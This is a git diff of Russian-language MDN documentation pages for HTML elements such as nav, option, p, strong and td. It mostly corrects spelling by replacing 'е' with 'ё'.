                  diff --git a/files/ru/web/html/element/nav/index.html b/files/ru/web/html/element/nav/index.html index aaa537f30c..4cb171fe2b 100644 --- a/files/ru/web/html/element/nav/index.html +++ b/files/ru/web/html/element/nav/index.html @@ -24,7 +24,7 @@ translation_of: Web/HTML/Element/nav - + @@ -33,11 +33,11 @@ translation_of: Web/HTML/Element/nav {{no_tag_omission}} - + - + @@ -54,7 +54,7 @@ translation_of: Web/HTML/Element/nav

                  Примечание

                    -
                  • Не обязательно все ссылки должны быть обернуты в <nav>. <nav> следует использовать лишь для главных навигационных блоков. Например, {{HTMLElement("footer")}}  часто содержит список ссылок, которые не стоит оборачивать в {{HTMLElement("nav")}} .
                    • +
                  • Не обязательно все ссылки должны быть обёрнуты в <nav>. <nav> следует использовать лишь для главных навигационных блоков. Например, {{HTMLElement("footer")}}  часто содержит список ссылок, которые не стоит оборачивать в {{HTMLElement("nav")}} .
                  • Документ может содержать несколько {{HTMLElement("nav")}} элементов. Например, один для навигации по сайту, второй для навигации по странице.
                  • Пользовательские агенты, такие как устройства чтения с экрана, предназначенные для людей с плохим зрением, могут использовать этот элемент, чтобы определить следует ли пускать рендеринг содержимого навигации.
                  @@ -98,7 +98,7 @@ translation_of: Web/HTML/Element/nav

                  Совместимость браузера

                  - +

                  {{Compat("html.elements.nav")}}

                  diff --git a/files/ru/web/html/element/noscript/index.html b/files/ru/web/html/element/noscript/index.html index 2fa2097246..74db832bfc 100644 --- a/files/ru/web/html/element/noscript/index.html +++ b/files/ru/web/html/element/noscript/index.html @@ -32,7 +32,7 @@ translation_of: Web/HTML/Element/noscript <p>Rocks!</p> -

                  Пример с включенным JavaScript

                  +

                  Пример с включённым JavaScript

                  Rocks!

                  diff --git a/files/ru/web/html/element/ol/index.html b/files/ru/web/html/element/ol/index.html index a8a7235f5a..4568058d95 100644 --- a/files/ru/web/html/element/ol/index.html +++ b/files/ru/web/html/element/ol/index.html @@ -52,7 +52,7 @@ translation_of: Web/HTML/Element/ol
                  {{HTMLAttrDef("reversed")}}
                  Атрибут логического значения (bool)  показывает, что предметы указаны по списку в обратном порядке. Пункты в списке будут пронумерованы от большего к меньшему.
                  {{HTMLAttrDef("start")}}
                  -
                  Нумерация начнется с указанного числа. Арабскими цифрами (1, 2, 3, и т.д.), даже когда нумерация type в буквах или Римском исчислении. Например, чтобы начать нумерацию с буквы "г" или Римской "iv", используйте start="4".
                  +
                  Нумерация начнётся с указанного числа. Арабскими цифрами (1, 2, 3, и т.д.), даже когда нумерация type в буквах или Римском исчислении. Например, чтобы начать нумерацию с буквы "г" или Римской "iv", используйте start="4".
                  {{HTMLAttrDef("type")}}
                  Задаёт тип нумерации:
                    diff --git a/files/ru/web/html/element/option/index.html b/files/ru/web/html/element/option/index.html index 7f2bafd7ed..86efde49f4 100644 --- a/files/ru/web/html/element/option/index.html +++ b/files/ru/web/html/element/option/index.html @@ -17,7 +17,7 @@ translation_of: Web/HTML/Element/option
                  - + @@ -25,7 +25,7 @@ translation_of: Web/HTML/Element/option - + @@ -44,14 +44,14 @@ translation_of: Web/HTML/Element/option

                  Как и все HTML элементы, этот элемент поддерживает глобальные атрибуты.

                  -
                  {{htmlattrdef("disabled")}} -- отключен(о)
                  -
                  Если этот Boolean атрибут установлен, эта опция недоступна для выделения. Часто браузеры выделяют такой элемент управления серым цветом и ему недоступны любые события браузера, такие как клики мыши или события, связанные с фокусировкой. Если этот атрибут не установлен, этот элемент все еще можно отключить (может не работать), если отключен внешний(one of its ancestors) элемент {{HTMLElement("optgroup")}}.
                  +
                  {{htmlattrdef("disabled")}} -- отключён(о)
                  +
                  Если этот Boolean атрибут установлен, эта опция недоступна для выделения. Часто браузеры выделяют такой элемент управления серым цветом и ему недоступны любые события браузера, такие как клики мыши или события, связанные с фокусировкой. Если этот атрибут не установлен, этот элемент все ещё можно отключить (может не работать), если отключён внешний(one of its ancestors) элемент {{HTMLElement("optgroup")}}.
                  {{htmlattrdef("label")}} -- метка, ярлык
                  Этот атрибут - текст ярлыка, отображающий значение(смысл, описание) опции. Если label не указан (отсутствует), то его значение совпадает с текстовым содержанием элемента <option>.
                  {{htmlattrdef("selected")}} -- выбран(о)
                  (Если присутствует,) этот Boolean атрибут отображает то, что опция изначально выделена. Если элемент <option> принадлежит элементу {{HTMLElement("select")}}, чей атрибут {{htmlattrxref("multiple", "select")}} не установлен, только одна-единственная <option> элемента {{HTMLElement("select")}} может иметь атрибут selected .
                  {{htmlattrdef("value")}} -- значение, величина
                  -
                  Содержимое(содержание) этого атрибута отображает(представляет) значение, отправляемое формой, если выбрана(выделена) данная опция. Если (этот) атрибут value отсутствует, значение берется из текстового содержания элемента <option>.
                  +
                  Содержимое(содержание) этого атрибута отображает(представляет) значение, отправляемое формой, если выбрана(выделена) данная опция. Если (этот) атрибут value отсутствует, значение берётся из текстового содержания элемента <option>.

                  Примеры

                  diff --git a/files/ru/web/html/element/output/index.html b/files/ru/web/html/element/output/index.html index ffd25be957..5018c97a0e 100644 --- a/files/ru/web/html/element/output/index.html +++ b/files/ru/web/html/element/output/index.html @@ -2,7 +2,7 @@ title: ': Элемент вывода' slug: Web/HTML/Element/output tags: - - Верстка + - Вёрстка - Элемент - вывод translation_of: Web/HTML/Element/output @@ -18,7 +18,7 @@ translation_of: Web/HTML/Element/output - + @@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/output - + diff --git a/files/ru/web/html/element/p/index.html b/files/ru/web/html/element/p/index.html index 166c1b2bd0..c74f0a6b76 100644 --- a/files/ru/web/html/element/p/index.html +++ b/files/ru/web/html/element/p/index.html @@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/p ---
                  {{HTMLRef}}
                  -

                  HTML-элемент <p> представляет собой абзац. Абзацы обычно представлены в визуальной среде в виде блоков текста, отделенных от соседних блоков пустыми строками и/или отступом в первой строке, кроме этого HTML-абзацы могут представлять собой структурную группировку однотипного содержимого, например изображений или полей формы.

                  +

                  HTML-элемент <p> представляет собой абзац. Абзацы обычно представлены в визуальной среде в виде блоков текста, отделённых от соседних блоков пустыми строками и/или отступом в первой строке, кроме этого HTML-абзацы могут представлять собой структурную группировку однотипного содержимого, например изображений или полей формы.

                  Абзацы являются блочными элементами и, в частности, автоматически закрываются, если другой блочный элемент находится перед закрывающим тегом </p>. Смотрите ниже "Пропуск тега".

                  @@ -30,7 +30,7 @@ translation_of: Web/HTML/Element/p - + @@ -38,11 +38,11 @@ translation_of: Web/HTML/Element/p - + - + @@ -161,7 +161,7 @@ p.pilcrow + p.pilcrow::before { - + diff --git a/files/ru/web/html/element/pre/index.html b/files/ru/web/html/element/pre/index.html index 70a3b05b1f..be57b57be9 100644 --- a/files/ru/web/html/element/pre/index.html +++ b/files/ru/web/html/element/pre/index.html @@ -23,7 +23,7 @@ translation_of: Web/HTML/Element/pre - + @@ -31,7 +31,7 @@ translation_of: Web/HTML/Element/pre - + @@ -39,7 +39,7 @@ translation_of: Web/HTML/Element/pre - + @@ -57,7 +57,7 @@ translation_of: Web/HTML/Element/pre
                  {{htmlattrdef("cols")}} {{non-standard_inline}}{{obsolete_inline}}
                  Содержит предпочтительное количество символов, которое должна иметь строка. Это был нестандартный синоним {{htmlattrxref("width", "pre")}}. Чтобы добиться такого эффекта, используйте CSS {{Cssxref("width")}}.
                  {{htmlattrdef("width")}} {{obsolete_inline}}
                  -
                  Содержит предпочтительное количество символов, которое должна иметь строка. Хотя технически он все еще реализован, этот атрибут не имеет визуального эффекта; чтобы достичь такого эффекта, используйте CSS {{Cssxref("width")}}.
                  +
                  Содержит предпочтительное количество символов, которое должна иметь строка. Хотя технически он все ещё реализован, этот атрибут не имеет визуального эффекта; чтобы достичь такого эффекта, используйте CSS {{Cssxref("width")}}.
                  {{htmlattrdef("wrap")}} {{non-standard_inline}}
                  Подсказка, указывающая, как должен происходить перенос. В современных браузерах этот атрибут игнорируется, и никакого визуального эффекта не приводит; чтобы достичь такого эффекта, используйте CSS {{Cssxref("white-space")}}.
                  @@ -80,7 +80,7 @@ body {

                  Проблемы доступности

                  -

                  Важно предоставить альтернативное описание для любых изображений или диаграмм, созданных с использованием предварительно отформатированного текста. Альтернативное описание должно четко и лаконично описывать содержание изображения или диаграммы.

                  +

                  Важно предоставить альтернативное описание для любых изображений или диаграмм, созданных с использованием предварительно отформатированного текста. Альтернативное описание должно чётко и лаконично описывать содержание изображения или диаграммы.

                  Люди, испытывающие проблемы с плохим зрением и просматривающие страницы с помощью вспомогательных технологий, таких как программа чтения с экрана, могут не понимать, что представляют собой предварительно отформатированные текстовые символы, когда они читаются последовательно.

                  diff --git a/files/ru/web/html/element/progress/index.html b/files/ru/web/html/element/progress/index.html index 3044cb72c1..5746e3259a 100644 --- a/files/ru/web/html/element/progress/index.html +++ b/files/ru/web/html/element/progress/index.html @@ -21,7 +21,7 @@ translation_of: Web/HTML/Element/progress - + @@ -29,11 +29,11 @@ translation_of: Web/HTML/Element/progress - + - + @@ -51,7 +51,7 @@ translation_of: Web/HTML/Element/progress
                  {{ htmlattrdef("max") }}
                  Этот атрибут описывает сколько затрат требует задача, указанная элементом  progress. Атрибут max, в случае указания, должен быть положительным, также, возможно применение числа с плавающей точкой.  Значение по умолчанию 1.
                  {{ htmlattrdef("value") }}
                  -
                  Этот атрибут указывает какая часть задачи была выполнена. Это может быть число с плавающей точкой от 0 до max, или между 0 и 1, если max не указан. Если атрибут value не указан, индикатор выполнения не определен; это указывает на то, что действие продолжается без указания на то, сколько времени оно займет.
                  +
                  Этот атрибут указывает какая часть задачи была выполнена. Это может быть число с плавающей точкой от 0 до max, или между 0 и 1, если max не указан. Если атрибут value не указан, индикатор выполнения не определён; это указывает на то, что действие продолжается без указания на то, сколько времени оно займет.
                  @@ -59,7 +59,7 @@ translation_of: Web/HTML/Element/progress
                  -

                  Примечание: Псевдокласс {{ cssxref(":indeterminate") }} может быть использован для работы с неопределенным индикатором выполнения. Чтобы индикатор выполнения стал неопределенным после присвоения ему значения, вы должны удалить атрибут value с помощью element.removeAttribute("value")

                  +

                  Примечание: Псевдокласс {{ cssxref(":indeterminate") }} может быть использован для работы с неопределённым индикатором выполнения. Чтобы индикатор выполнения стал неопределённым после присвоения ему значения, вы должны удалить атрибут value с помощью element.removeAttribute("value")

                  Примеры

                  diff --git a/files/ru/web/html/element/ruby/index.html b/files/ru/web/html/element/ruby/index.html index ed501d421c..50439aa381 100644 --- a/files/ru/web/html/element/ruby/index.html +++ b/files/ru/web/html/element/ruby/index.html @@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/ruby - + - + diff --git a/files/ru/web/html/element/script/index.html b/files/ru/web/html/element/script/index.html index 7febc40d50..f16b52b07a 100644 --- a/files/ru/web/html/element/script/index.html +++ b/files/ru/web/html/element/script/index.html @@ -30,7 +30,7 @@ translation_of: Web/HTML/Element/script - + diff --git a/files/ru/web/html/element/section/index.html b/files/ru/web/html/element/section/index.html index b34e9d1099..9774eae28f 100644 --- a/files/ru/web/html/element/section/index.html +++ b/files/ru/web/html/element/section/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/section -

                  Например, меню навигации должно быть помещено в элемент {{htmlelement("nav")}}, но список результатов поиска и отображение карты с ее элементами управления не имеют специфических элементов и могут быть помещены в <section>.

                  +

                  Например, меню навигации должно быть помещено в элемент {{htmlelement("nav")}}, но список результатов поиска и отображение карты с её элементами управления не имеют специфических элементов и могут быть помещены в <section>.

                  Заметка: Если содержимое элемента имеет смысл объединить как единое целое (в цельный и независимый блок), то элемент {{HTMLElement("article")}} может стать лучшим выбором.

                  @@ -33,7 +33,7 @@ translation_of: Web/HTML/Element/section
                  - + @@ -41,11 +41,11 @@ translation_of: Web/HTML/Element/section - + - + @@ -62,7 +62,7 @@ translation_of: Web/HTML/Element/section

                  Примечание

                    -
                  • Каждый элемент <section> должен быть идентифицирован, обычно путем добавления заголовка (элементы {{HTMLElement('h1')}}-{{HTMLElement('h6')}}) в качестве дочернего элемента.
                    • +
                  • Каждый элемент <section> должен быть идентифицирован, обычно путём добавления заголовка (элементы {{HTMLElement('h1')}}-{{HTMLElement('h6')}}) в качестве дочернего элемента.
                  • Если имеет смысл по-особому объединить содержимое элемента <section> (например, сделать цельным и независимым разделом HTML-документа), используйте вместо него элемент {{HTMLElement("article")}}.
                  • Не используйте элемент <section> как общий контейнер; для этого есть {{HTMLElement("div")}}, особенно когда секционирование применяется только для стилизации. На практике раздел должен логически выделяться в структуре документа.
                  diff --git a/files/ru/web/html/element/select/index.html b/files/ru/web/html/element/select/index.html index 53b0bc2509..58b8a35fa8 100644 --- a/files/ru/web/html/element/select/index.html +++ b/files/ru/web/html/element/select/index.html @@ -24,7 +24,7 @@ translation_of: Web/HTML/Element/select - + diff --git a/files/ru/web/html/element/slot/index.html b/files/ru/web/html/element/slot/index.html index c87c67b648..84fadbdb9e 100644 --- a/files/ru/web/html/element/slot/index.html +++ b/files/ru/web/html/element/slot/index.html @@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/slot - + @@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/slot - + - + diff --git a/files/ru/web/html/element/span/index.html b/files/ru/web/html/element/span/index.html index 3a8788e03e..0e28125455 100644 --- a/files/ru/web/html/element/span/index.html +++ b/files/ru/web/html/element/span/index.html @@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/span - + @@ -34,11 +34,11 @@ translation_of: Web/HTML/Element/span - + - + @@ -67,7 +67,7 @@ translation_of: Web/HTML/Element/span

                  HTML

                  <li><span>
-    <a href="portfolio.html" target="_blank">Посмотреть мое портфолио</a>
+    <a href="portfolio.html" target="_blank">Посмотреть моё портфолио</a>
 </span></li>
                  diff --git a/files/ru/web/html/element/strong/index.html b/files/ru/web/html/element/strong/index.html index dfbbabd735..d16b0af54f 100644 --- a/files/ru/web/html/element/strong/index.html +++ b/files/ru/web/html/element/strong/index.html @@ -12,7 +12,7 @@ tags: - Элемент translation_of: Web/HTML/Element/strong --- -

                  Элемент сильной значимости (<strong>) указывает на то, что его содержание имеет большое значение, серьезность или срочность. Браузеры обычно отображают содержимое жирным шрифтом.

                  +

                  Элемент сильной значимости (<strong>) указывает на то, что его содержание имеет большое значение, серьёзность или срочность. Браузеры обычно отображают содержимое жирным шрифтом.

                  Значения для содержания <meta name="viewport">
                  Потоковый контент, фразовый контент, контент, ассоциированный с  label, явный контент.
                  Разрешенный контентРазрешённый контент Фразовый контент, но среди его потомков не должно быть элемента <meter>.
                  {{no_tag_omission}}
                  Разрешенные родителиРазрешённые родители Любой элемент, который принимает фразовый контент.
                  Разрешенные ARIA ролиРазрешённые ARIA роли Нет
                  Потоковый контент, секционный контент, явный контент.
                  Разрешенный контентРазрешённый контент Потоковый контент.
                  Разрешенный родительский элементРазрешённый родительский элемент Любой элемент, содержащий потоковый контент.
                  Разрешенные ARIA-атрибутыРазрешённые ARIA-атрибуты Нет
                  Нет.
                  Разрешенное содержимоеРазрешённое содержимое Текст, допускаются экранированные символы (например &eacute;).
                  Открывающий тег обязателен. Закрывающий тег опционален если за этим элементом следует другой элемент <option>, или элемент {{HTMLElement("optgroup")}}, или если родительский элемент не имеет больше содержимого.
                  Разрешенные родителиРазрешённые родители Элемент {{HTMLElement("select")}},  элемент {{HTMLElement("optgroup")}} или элемент {{HTMLElement("datalist")}}.
                  Потоковый контент, фразовый контент, перечисляемые, лэйбловые, сбрасываемые форма-ассоциированные элементы, явный контент.
                  Разрешенный контентРазрешённый контент Фразовый контент.
                  {{no_tag_omission}}
                  Разрешенные родителиРазрешённые родители Все элементы, которые принимают фразовый контент.
                  Потоковый контент, явный контент.
                  Разрешенное содержимоеРазрешённое содержимое Фразовый контент.
                  Требуется открывающий тег. Закрывающий тег может быть пропущен, если за элементом {{HTMLElement("p")}} сразу следует элемент {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hr")}}, {{HTMLElement("menu")}}, {{HTMLElement("nav")}}, {{HTMLElement("ol")}}, {{HTMLElement("pre")}}, {{HTMLElement("section")}}, {{HTMLElement("table")}}, {{HTMLElement("ul")}} или другой элемент {{HTMLElement("p")}}, или если в родительском элементе больше ничего не содержится и родительский элемент не является элементом {{HTMLElement("a")}}.
                  Разрешенные родительские элементыРазрешённые родительские элементы Любой элемент, который разрешает потоковый контент в качестве содержимого.
                  Разрешенные роли ARIAРазрешённые роли ARIA Любые
                  {{SpecName('HTML WHATWG', 'semantics.html#the-p-element', '<p>')}} {{Spec2('HTML WHATWG')}}Нет изменений с последнего "snapshot" (снапшот или снимок - состояние сохраненное в определенный момент времени) {{SpecName("HTML5 W3C")}}Нет изменений с последнего "snapshot" (снапшот или снимок - состояние сохранённое в определённый момент времени) {{SpecName("HTML5 W3C")}}
                  {{SpecName('HTML5 W3C', 'grouping-content.html#the-p-element', '<p>')}}Основной поток, Явный контент
                  Разрешенный контентРазрешённый контент Фразовый контент
                  {{no_tag_omission}}
                  Разрешенные родителиРазрешённые родители Любой элемент, который принимает содержимое потока
                  Нет соответствующей роли
                  Разрешенные роли ARIAРазрешённые роли ARIA Любые
                  Потоковый контент, фразовый контент, контент, ассоциированный с  label, явный контент.
                  Разрешенный контентРазрешённый контент Фразовый контент, но среди его потомков не должно быть элемента <progress>.
                  {{no_tag_omission}}
                  Разрешенные родителиРазрешённые родители Любой элемент, который принимает фразовый контент.
                  Разрешенные ARIA ролиРазрешённые ARIA роли Нет
                  {{no_tag_omission}}
                  Разрешенные родителиРазрешённые родители Любой элемент который согласован с текстовым контентом(phrasing content).
                  Разрешенные роли ARIAРазрешённые роли ARIA Любые
                  Разрешенная ARIA рольРазрешённая ARIA роль Отсутствует
                  Основной поток, секционный контент, явный контент.
                  Разрешенное содержимоеРазрешённое содержимое Основной поток
                  Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.
                  Разрешенные родительские элементыРазрешённые родительские элементы Любой элемент, который разрешает контент основного потока в качестве содержимого. Обратите внимание, что элемент <section> не должен быть потомком элемента {{HTMLElement("address")}}.
                  Разрешенные роли ARIAРазрешённые роли ARIA {{ARIARole("alert")}}, {{ARIARole("alertdialog")}}, {{ARIARole("application")}}, {{ARIARole("banner")}}, {{ARIARole("complementary")}}, {{ARIARole("contentinfo")}}, {{ARIARole("dialog")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("log")}}, {{ARIARole("main")}}, {{ARIARole("marquee")}}, {{ARIARole("navigation")}}, {{ARIARole("search")}}, {{ARIARole("status")}}, {{ARIARole("tabpanel")}}
                  Любые элементы в которых разрешено текстовое содержимое
                  Разрешенная ARIA рольРазрешённая ARIA роль {{ARIARole("menu")}}
                  Поток контента, содержание формулировки
                  Разрешенный контентРазрешённый контент Прозрачный
                  {{no_tag_omission}}
                  Разрешенный родителиРазрешённый родители Любой элемент, который принимает содержание формулировки
                  Разрешенные роли ARIAРазрешённые роли ARIA Никакой
                  Потоковый контент, фразовый контент.
                  Разрешенное содержимоеРазрешённое содержимое Фразовый контент.
                  Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.
                  Разрешенные родительские элементыРазрешённые родительские элементы Любой элемент, который разрешает фразовый или потоковый контент в качестве содержимого.
                  Разрешенные роли ARIAРазрешённые роли ARIA Любые
                  @@ -21,7 +21,7 @@ translation_of: Web/HTML/Element/strong - + @@ -29,11 +29,11 @@ translation_of: Web/HTML/Element/strong - + - + @@ -49,19 +49,19 @@ translation_of: Web/HTML/Element/strong

                  Замечания по использованию

                  -

                  Элемент <strong> предназначен для контента, который имеет "большое значение", включая вещи большой серьезности или срочности (например, предупреждения). Это может быть предложение, которое имеет большое значение для всей страницы, или вы можете просто попытаться указать, что некоторые слова имеют большее значение по сравнению с соседним контентом.

                  +

                  Элемент <strong> предназначен для контента, который имеет "большое значение", включая вещи большой серьёзности или срочности (например, предупреждения). Это может быть предложение, которое имеет большое значение для всей страницы, или вы можете просто попытаться указать, что некоторые слова имеют большее значение по сравнению с соседним контентом.

                  -

                  Обычно этот элемент отображается по умолчанию с использованием жирного шрифта. Однако, он не должен быть использован просто для применения жирного стиля; используйте свойство CSS {{cssxref("font-weight")}} для этой цели. Используйте элемент {{HTMLElement("b")}}, чтобы привлечь внимание к определенному тексту без указания более высокого уровня важности. Используйте элемент {{HTMLElement("em")}} element для выделения текста, который имеет выраженный акцент.

                  +

                  Обычно этот элемент отображается по умолчанию с использованием жирного шрифта. Однако, он не должен быть использован просто для применения жирного стиля; используйте свойство CSS {{cssxref("font-weight")}} для этой цели. Используйте элемент {{HTMLElement("b")}}, чтобы привлечь внимание к определённому тексту без указания более высокого уровня важности. Используйте элемент {{HTMLElement("em")}} element для выделения текста, который имеет выраженный акцент.

                  Другим приемлемым использованием для <strong> является обозначение ярлыков абзацев, которые представляют заметки или предупреждения в тексте страницы.

                  <b> против <strong>

                  -

                  Это часто путает новых разработчиков, почему существует так много способов выразить одно и то же на представленном веб-сайте. {{HTMLElement("b")}} и <strong> возможно, является одним из наиболее распространенных источников путаницы, заставляя разработчиков задавать себе вопрос: «Должен ли я использовать <b> или <strong>? Разве они не делают одно и тоже?»

                  +

                  Это часто путает новых разработчиков, почему существует так много способов выразить одно и то же на представленном веб-сайте. {{HTMLElement("b")}} и <strong> возможно, является одним из наиболее распространённых источников путаницы, заставляя разработчиков задавать себе вопрос: «Должен ли я использовать <b> или <strong>? Разве они не делают одно и тоже?»

                  Не совсем. Элемент <strong> для контента, который имеет большее значение, в то время как элемент <b> используется для привлечения внимания к тексту, не указывая на то, что это более важно.

                  -

                  Это может помочь понять, что оба являются правильным и семантическими элементами в HTML5, и это совпадение, что оба они имеют одинаковый стиль (полужирный) в большинстве браузеров (хотя некоторые старые браузеры фактически подчеркивают <strong>). Каждый элемент предназначен для использования в определенных типах сценариев, и если вы хотите жирный шрифт просто для украшения, вместо этого вы должные использовать свойства CSS {{cssxref("font-weight")}}.

                  +

                  Это может помочь понять, что оба являются правильным и семантическими элементами в HTML5, и это совпадение, что оба они имеют одинаковый стиль (полужирный) в большинстве браузеров (хотя некоторые старые браузеры фактически подчёркивают <strong>). Каждый элемент предназначен для использования в определённых типах сценариев, и если вы хотите жирный шрифт просто для украшения, вместо этого вы должные использовать свойства CSS {{cssxref("font-weight")}}.

                  Предполагаемое значение или цель прилагаемого текста должно быть тем, что определяет, какой элемент вы используете. Значение общения - вот что такое семантика.

                  @@ -85,7 +85,7 @@ translation_of: Web/HTML/Element/strong 
                  <p><strong>Важно:</strong> прежде чем продолжить, убедитесь, что вы добавили много масла.</p>
                  -

                  Это приведет к:

                  +

                  Это приведёт к:

                  {{EmbedLiveSample("Маркировочные_предупреждения", 650, 80)}}

                  @@ -120,7 +120,7 @@ translation_of: Web/HTML/Element/strong

                  Совместимость с браузерами

                  - +

                  {{Compat("html.elements.strong")}}

                  diff --git a/files/ru/web/html/element/td/index.html b/files/ru/web/html/element/td/index.html index 13adb17b58..1aff1b6a4e 100644 --- a/files/ru/web/html/element/td/index.html +++ b/files/ru/web/html/element/td/index.html @@ -21,11 +21,11 @@ translation_of: Web/HTML/Element/td Закрывающий тег может быть пропущен, если сразу за ним следует элемент {{HTMLElement("th")}} или {{HTMLElement("td")}}, или если больше нет данных в его родительском элементе. - + - + @@ -68,11 +68,11 @@ translation_of: Web/HTML/Element/td
                  {{htmlattrdef("axis")}} {{obsolete_inline("html5")}}
                  -
                  Этот атрибут включает список строк разделенных пробелами. Каждая строка это ID группы ячеек которой соответствует этот заголовок. +
                  Этот атрибут включает список строк разделённых пробелами. Каждая строка это ID группы ячеек которой соответствует этот заголовок.
                  Примечание: Не используйте этот атрибут, он устарел в последней версии стандарта: вместо этого используйте атрибут {{htmlattrxref("scope", "td")}}.
                  {{htmlattrdef("bgcolor")}} {{Non-standard_inline}}
                  -
                  Этот атрибут определяет цвет фона ячейки. Значением задается 6-значными шестнадцатеричными кодами как определено в sRGB, с префиксом '#'. Можно также использовать предопределенные цветовые строки, например: +
                  Этот атрибут определяет цвет фона ячейки. Значением задаётся 6-значными шестнадцатеричными кодами как определено в sRGB, с префиксом '#'. Можно также использовать предопределённые цветовые строки, например:
                  Потоковой контент, Фразовый контент, явный контент.
                  Разрешенный контентРазрешённый контент Фразовый контент.
                  Нет, должен иметь как начальный тег, так и конечный тег.
                  Разрешенные родителиРазрешённые родители Любой элемент, который принимает фразовый контент, или любой другой элемент, который принимает потоковой контент.
                  Разрешенные ARIA-ролиРазрешённые ARIA-роли Любые
                  Разрешенные родителиРазрешённые родители Элемент {{HTMLElement("tr")}}.
                  Разрешенные ARIA ролиРазрешённые ARIA роли Любые
                  @@ -142,7 +142,7 @@ translation_of: Web/HTML/Element/td
                  {{htmlattrdef("colspan")}}
                  Этот атрибут содержит положительное целое число указывающее сколько столбцов необходимо объединить. По умолчанию значение равно 1. Значения больше 1000 будет считаться некорректным и будет использовать значение по умолчанию (1).
                  {{htmlattrdef("headers")}}
                  -
                  Этот атрибут содержит список срок разделенных пробелами, каждая соответствует id атрибуту {{HTMLElement("th")}} элементов которые использует этот элемент.
                  +
                  Этот атрибут содержит список срок разделённых пробелами, каждая соответствует id атрибуту {{HTMLElement("th")}} элементов которые использует этот элемент.
                  {{htmlattrdef("rowspan")}}
                  Этот атрибут содержит положительное целое число указывающее какое количество строк  необходимо объединить. По умолчанию значение равно1; Если его значение 0, тогда его действие распространяется до конца табличной секции ({{HTMLElement("thead")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, даже если неявно определено чему ячейка принадлежит. Значения выше 65534 сокращаются до 65534.
                  {{htmlattrdef("scope")}} {{obsolete_inline("html5")}}
                  diff --git a/files/ru/web/html/element/template/index.html b/files/ru/web/html/element/template/index.html index 1f8131817d..10b94c2864 100644 --- a/files/ru/web/html/element/template/index.html +++ b/files/ru/web/html/element/template/index.html @@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/template - + @@ -34,7 +34,7 @@ translation_of: Web/HTML/Element/template - + diff --git a/files/ru/web/html/element/tfoot/index.html b/files/ru/web/html/element/tfoot/index.html index c23f18e84c..f13b52ba26 100644 --- a/files/ru/web/html/element/tfoot/index.html +++ b/files/ru/web/html/element/tfoot/index.html @@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/tfoot - + @@ -49,7 +49,7 @@ translation_of: Web/HTML/Element/tfoot
                • center, выравнивание содержимого по центру ячейки
                • right, выравнивание содержимого по правому краю ячейки
                • justify, выравнивание по ширине ячейки: добавление пробелов к тексту содержимого ячейки до тех пор, пока содержимое не выровняется от одного края ячейки до другого
                  • -
                • char, выравнивание текстового содержимого по специальному символу с минимальным смещением, определенным {{ htmlattrxref("char", "tbody") }} и {{ htmlattrxref("charoff", "tbody") }} атрибутами {{ unimplemented_inline("2212") }}.
                  • +
                • char, выравнивание текстового содержимого по специальному символу с минимальным смещением, определённым {{ htmlattrxref("char", "tbody") }} и {{ htmlattrxref("charoff", "tbody") }} атрибутами {{ unimplemented_inline("2212") }}.

                  • Если этот атрибут не задан, то значением по умолчанию является left.

                  @@ -66,7 +66,7 @@ translation_of: Web/HTML/Element/tfoot
                  {{ htmlattrdef("bgcolor") }} {{ Non-standard_inline() }}
                  -
                  Этот атрибут определяет цвет фона каждой ячейки столбца. Это один из 6-ти значного шестнадцатеричного кода определенного в sRGB, предваряется '#'. Может быть использован один из шестнадцати предопределенных строк: +
                  Этот атрибут определяет цвет фона каждой ячейки столбца. Это один из 6-ти значного шестнадцатеричного кода определённого в sRGB, предваряется '#'. Может быть использован один из шестнадцати предопределённых строк:
                  {{no_tag_omission}}
                  Разрешенные родителиРазрешённые родители Any element that accepts metadata content, phrasing content, or script-supporting elements. Also allowed as a child of a {{HTMLElement("colgroup")}} element that does not have a {{htmlattrxref("span", "colgroup")}} attribute.
                  Нет соответствующей роли
                  Разрешенные роли ARIAРазрешённые роли ARIA Отсутствует
                  The start tag is mandatory. The end tag may be omitted if the {{ HTMLElement("tbody") }} element is immediately followed by an, eventually implicitly-defined, {{ HTMLElement("tbody") }}, or if there is no more content in the parent {{ HTMLElement("table") }} element.
                  Разрешенные родительские элементыРазрешённые родительские элементы  A {{ HTMLElement("table") }} element. The {{ HTMLElement("tfoot") }} must appear after any {{ HTMLElement("caption") }}, {{ HTMLElement("colgroup") }} or {{ HTMLElement("thead") }} element. It can be before or after all {{ HTMLElement("tbody") }} and {{ HTMLElement("tr") }} elements, but not intermixed with them.
                  {{ HTMLVersionInline("4") }} The {{ HTMLElement("tfoot") }} element cannot be placed after any {{ HTMLElement("tbody") }} and {{ HTMLElement("tr") }} element. This restriction has been softened in HTML5.
                  @@ -140,7 +140,7 @@ translation_of: Web/HTML/Element/tfoot
                  {{ htmlattrdef("valign") }} {{ Deprecated_inline() }} в {{ HTMLVersionInline("4") }}, {{ obsolete_inline() }} в {{ HTMLVersionInline("5") }}
                  -
                  Этот атрибут задает вертикальное выравнивание текста в каждой строке ячеек заголовка таблицы. Возможные значения для этого атрибута: +
                  Этот атрибут задаёт вертикальное выравнивание текста в каждой строке ячеек заголовка таблицы. Возможные значения для этого атрибута:
                  • baseline, which will put the text as close to the bottom of the cell as it is possible, but align it on the baseline of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as bottom.
                  • bottom, which will put the text as close to the bottom of the cell as it is possible;
